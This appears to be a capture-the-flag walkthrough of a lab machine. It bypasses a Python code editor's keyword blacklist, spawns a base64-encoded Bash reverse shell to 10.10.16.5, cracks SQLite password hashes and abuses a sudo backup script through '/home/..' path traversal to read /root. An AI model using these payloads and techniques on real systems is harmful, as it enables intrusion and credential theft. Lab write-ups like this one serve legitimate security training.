Code


Summary

A web application allows to input python code, which will execute on the server at return the code’s response. While the application has a blacklist of keywords in place to black any malicious command, we obfuscate the code to circumvent the blacklist, and spawn a reverse shell.

After obtaining the foothold, we access the application’s database to extract and crack a password hash, allowing us to pivot to another user on the system. This user is allowed to execute a backup script as the root user, which enables us to trick the script’s logic to backup the content of the root folder. Once we execute this attack, we can read the root flag and obtain this account’s SSH key.

Solution

Reconnaissance

An initial Nmap scan reveals two open ports.

nmap -sC -sV 10.10.11.62 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-24 11:42 CET
Nmap scan report for 10.10.11.62
Host is up (0.054s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Since we don’t have any credentials for the SSH port, examination of port 5000 is our only choice. According to the scan results, it serves an HTTP application, which we can visit in our browser.

Pasted image 20250324114431.png

The website on this port allows us to write Python code, execute it on the target, and read the system’s response. At first sight, this looks like a major vulnerability, since permitted code execution is an easy way to spawn a reverse shell. Upon trying different payloads for interacting with the server’s operating system, we quickly notice that there seems to be a filter in place. As soon as we enter certain keywords and send to code to the server, the execution will be blocked and instead return Use of restricted keywords is not allowed.

Pasted image 20250324114745.png

User Flag

After trying out several keywords, we can derive a few to be on the blacklist, such as import, os, system, open and more. This is tricky, since we would need those to spawn a reverse shell. The only module that is already in scope and could be used for system level operations is sys, however it can not be directly used for spawning a shell. By continuing the search about this module, I found something interest. By using getattr() in combination with sys, we can call functions and modules by providing strings. Since Python allows us to combine strings, we can cut them up into sub strings, which will not be triggered by the keyword blacklist. Using this, we can create the following payload, which will not return the notice about restricted keywords.

print(getattr(sys.modules['o'+'s'], 'sys'+'tem')(''))

We just achieve remote code execution! The only thing left to do, is to find a reverse shell payload. For this, we can essentially use anything we link, however I prefer to use a basic base64 encoded Bash payload. Since this payload won’t include any special characters, it’s one less thing to worry about.

print(getattr(sys.modules['o'+'s'], 'sys'+'tem')('echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuNS80NDQ0IDA+JjE=" | base64 -d | bash'))

After setting up a Netcat listener, the executing payload will spawn a reverse shell as app-production, enabling us to claim the user flag.

Pasted image 20250324140534.png

86715fe9dc5a81d7a6fcb623a4d7f38a

Root Flag

Due to our access to the user account managing the web application, it is always a good idea to check for any sensitive files in the corresponding directory. In app.py, the main file of the Flask application, there is a reference to a database.

<cut>
app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
<cut>

In order to make the interaction with the database easier, let’s upgrade our reverse shell to be interactive with Python.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Now we can use sqlite3 to open the database file.

app-production@code:~/app/instance$ sqlite3 database.db
sqlite3 database.db
sqlite> .tables
code  user
sqlite> select * from code;
1|1|print("Functionality test")|Test
sqlite> select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be

As we can see, the file contains two tables code and user. In the latter, we can find two usernames with another string, which looks very much like some sort of hash. Upon saving these to a file, we can use Hashcat to crack them.

hashcat --user user.txt -m 0 /usr/share/wordlists/rockyou.txt

759b74ce43947f5f4c91aeddc3e5bad3:development
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster

Over SSH, we can use the credentials martin:nafeelswordsmaster to log into this account.

ssh martin@10.10.11.62

Pasted image 20250324142122.png

First, we should check for any sudo privileges.

sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

As it turns out, this user is allowed to execute a script called backy.sh as root. Let’s execute it.

/usr/bin/backy.sh
Usage: /usr/bin/backy.sh <task.json>

This output tells us not much, besides that we need to provide a task.json file. We can find an example in the backups folder in the user’s home folder. Due to the name, it seems like this script can be used to create a backup for a specified folder. Maybe we can use this to make a backup of sensitive files, since we can execute this script as root. To make sure, we can take a look at the script’s code.

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

Analysis of this code reveals that there is a security measure in place, ensuring that we are only able to back up files in the /home and /var directories. However, the script only checks for the respective string in the specified path and does not evaluate it any further. This opens up the possibility to back up the /root folder, if we specify its relative path from a permitted folder. To achieve this, we only need to make a copy of task.json and adjust it.

{
  "destination": "/home/martin/.oknf",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/home/../root"
  ],
  "exclude": [
    "dummy"
  ]
}

Now we can execute the script as sudo and provide our malicious task.json.

sudo /usr/bin/backy.sh ./task.json
2025/03/24 13:51:12 🍀 backy 1.2
2025/03/24 13:51:12 đź“‹ Working with ./task.json ...
2025/03/24 13:51:12 đź’¤ Nothing to sync
2025/03/24 13:51:12 📤 Archiving: [/home/root]
2025/03/24 13:51:12 📥 To: /home/martin/.oknf ...
2025/03/24 13:51:12 📦
tar: Removing leading `/' from member names
tar: /home/root: Cannot stat: No such file or directory
tar: Exiting with failure status due to previous errors
2025/03/24 13:51:12 đź’˘ Archiving failed for: /home/root
2025/03/24 13:51:12 âť— Archiving completed with errors

Sadly, we get an error. It seems like the script now tries to resolve /home/../root to /home/root, which means this won’t work. However, we can just circumvent this by backup up the entire file system by starting a /home/.. and removing all unnecessary folders by referencing them in the exclude entry.

{
  "destination": "/home/martin/.oknf",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/home/.."
  ],
  "exclude": [
    "*/bin/*",
    "*/boot/*",
    "*/dev/*",
    "*/etc/*",
    "*/lib*",
    "*/lost*",
    "*/media/*",
    "*/mnt/*",
    "*/opt/*",
    "*/proc/*",
    "*/run/*",
    "*/sbin/*",
    "*/srv/*",
    "*/sys/*",
    "*/tmp/*",
    "*/usr/*",
    "*/var/*"
  ]
}
sudo /usr/bin/backy.sh ./task.json
2025/03/24 13:57:30 🍀 backy 1.2
2025/03/24 13:57:30 đź“‹ Working with ./task.json ...
2025/03/24 13:57:30 đź’¤ Nothing to sync
2025/03/24 13:57:30 📤 Archiving: [/home/..]
2025/03/24 13:57:30 📥 To: /home/martin/.oknf ...
2025/03/24 13:57:30 📦
<cut>

The command was a success. After checking the target folder, we can find code_home_.._2025_March.tar.bz2, a tar ball which contains all sensitives files, including those in the /root directory. We only need to unpack it.

tar xfvj code_home_.._2025_March.tar.bz2

Once the tar ball was unpacked, we can read the root flag at ~/.oknf/root/root.txt. We could also use the id_rsa file in ~/.oknf/root/.ssh/ to log into the root account, if we so desire.

fd82c5c1d8c4839fe2a0bfca3d07623a